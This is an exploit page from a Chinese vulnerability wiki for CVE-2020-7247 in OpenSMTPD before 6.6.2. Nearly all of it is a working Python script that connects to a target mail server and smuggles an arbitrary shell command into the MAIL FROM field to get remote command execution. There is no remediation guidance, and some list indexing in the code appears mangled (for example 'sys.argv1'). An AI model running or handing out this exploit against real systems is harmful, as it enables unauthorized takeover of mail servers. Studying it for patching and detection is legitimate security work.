Loading
0

CVE-2020-7247 OpenSMTPD 6.6.2 远程命令执行漏洞

免费、自由、人人可编辑的漏洞库--pwnwiki.com

,

EXP

# Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution
# Date: 2020-01-29
# Exploit Author: 1F98D
# Original Author: Qualys Security Advisory
# Vendor Homepage: https://www.opensmtpd.org/
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1
# Version: OpenSMTPD < 6.6.2
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2020-7247
# References:
# https://www.openwall.com/lists/oss-security/2020/01/28/3
#
# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately
# escape dangerous characters from user-controlled input. An attacker
# can exploit this to execute arbitrary shell commands on the target.
# 
#!/usr/local/bin/python3

from socket import *
import sys

if len(sys.argv) != 4:
    print('Usage {} <target ip> <target port> <command>'.format(sys.argv0))
    print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv0))
    sys.exit(1)

ADDR = sys.argv1
PORT = int(sys.argv2)
CMD = sys.argv3

s = socket(AF_INET, SOCK_STREAM)
s.connect((ADDR, PORT))

res = s.recv(1024)
if 'OpenSMTPD' not in str(res):
    print('! No OpenSMTPD detected')
    print('! Received {}'.format(str(res)))
    print('! Exiting...')
    sys.exit(1)

print('* OpenSMTPD detected')
s.send(b'HELO x\r\n')
res = s.recv(1024)
if '250' not in str(res):
    print('! Error connecting, expected 250')
    print('! Received: {}'.format(str(res)))
    print('! Exiting...')
    sys.exit(1)

print('* Connected, sending payload')
s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8'))
res = s.recv(1024)
if '250' not in str(res):
    print('! Error sending payload, expected 250')
    print('! Received: {}'.format(str(res)))
    print('! Exiting...')
    sys.exit(1)

print('* Payload sent')
s.send(b'RCPT TO:<root>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('* Done')

免费、自由、人人可编辑的漏洞库--PwnWiki.com